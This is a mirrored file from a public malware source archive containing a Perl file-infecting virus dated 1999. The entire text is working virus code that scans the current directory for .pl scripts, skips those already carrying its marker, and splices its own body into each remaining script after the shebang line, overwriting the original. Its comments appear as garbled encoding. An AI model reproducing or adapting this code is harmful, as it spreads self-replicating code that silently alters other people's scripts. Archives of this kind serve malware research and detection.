mirror of
https://github.com/vxunderground/MalwareSourceCode
synced 2024-06-16 12:08:36 +00:00
67 lines
2.3 KiB
Plaintext
67 lines
2.3 KiB
Plaintext
#here virus starts
|
||
# Intender by -Byst- (c) 1999
|
||
$source = __FILE__;
|
||
while (<*.pl>)
|
||
{
|
||
$name = $_; # ˆ¬ï ä ©« -¦¥àâ¢ë
|
||
$cname = crypt($name,$name); # ˆ¬ï ¯à®¬¥¦ãâ®ç®£® ä ©«
|
||
|
||
# ஢¥à¨¬ ¥ ¨ä¨æ¨à®¢ «¨ 㦥 ä ©«?
|
||
|
||
open(TARGET,"<$name"); # ¦¥àâ¢
|
||
$allready_infected = 0;
|
||
while (<TARGET>) {
|
||
if (index($_,"\x23 Intender by -Byst- (c) 1999") == 0)
|
||
{ $allready_infected = 1;} # 㦥 ¨ä¨æ¨à®¢ !
|
||
}
|
||
close(TARGET);
|
||
if ($allready_infected == 1 )
|
||
{ next;} # ¯¥à¥å®¤¨¬ ª á«¥¤ãî饩 ¦¥à⢥
|
||
|
||
# ஢¥à¨¬, ¥â «¨ ¢ ⥫¥ ¦¥àâ¢ë áâப ⨯ !/usr/bin/perl
|
||
open(TARGET,"<$name"); # ¦¥àâ¢
|
||
$flag = 0;
|
||
while (<TARGET>) {
|
||
if (index($_,"\x23!") == 0) # 諨 â ªãî áâபã
|
||
{ $flag = 1;} # ¢§¢®¤¨¬ ä« £
|
||
}
|
||
close(TARGET);
|
||
|
||
# ‘®§¤ ¥¬ ç áâì ¢ ª®â®à®© ᮤ¥à¦¨âáï ¢ë§®¢ ¯à®æ¥¤ãàë ¨ä¨æ¨à®¢ ¨ï
|
||
open(TARGET,"<$name"); # ¦¥àâ¢
|
||
open(FBUF,">$cname"); # ¯à®¬¥¦ãâ®çë© ä ©«
|
||
|
||
if ($flag == 1) { # ã ¦¥àâ¢ë ¥áâì ®¡®§ 票¥ ç « ¯à®£à ¬¬ë?
|
||
while (<TARGET>) { # ¨é¥¬ ¥£®
|
||
print(FBUF); # á®åà 塞 ¢á¥ áâப¨ ¦¥àâ¢ë ¤® #!
|
||
if (index($_,"\x23!") == 0 ) # £ , ¢®â ¨ ç «® ¯à®£à ¬¬ë
|
||
{ last;}
|
||
}
|
||
}
|
||
|
||
# ¨é¥¬ ⥫ ¯à®æ¥¤ãà
|
||
$_ = "\n";print(FBUF);
|
||
open(SOURCE,"<$source"); # â ªãî騩 ä ©«
|
||
while(<SOURCE>) { # ¨é¥¬ ¯à¨§ ª ç « - "#here virus starts"
|
||
if (index($_,"\x23here virus starts") == 0) { last;}
|
||
}
|
||
print(FBUF);
|
||
# ¢¥áì ⥪áâ ¯à®æ¥¤ãà -> ¯à®¬¥¦ãâ®çë© ä ©«
|
||
while (<SOURCE>) {
|
||
print(FBUF);
|
||
if (index($_,"\x23here virus ends") == 0) { last;}
|
||
}
|
||
close(SOURCE);
|
||
$_ = "\n";print(FBUF);
|
||
# ®áâ ¢èãîáï ç áâì ¦¥àâ¢ë -> ¯à®¬¥¦ãâ®çë© ä ©«
|
||
while (<TARGET>) {
|
||
print(FBUF);
|
||
}
|
||
close(TARGET);
|
||
close(FBUF);
|
||
rename($cname,$name);
|
||
}
|
||
#here virus ends
|
||
|
||
|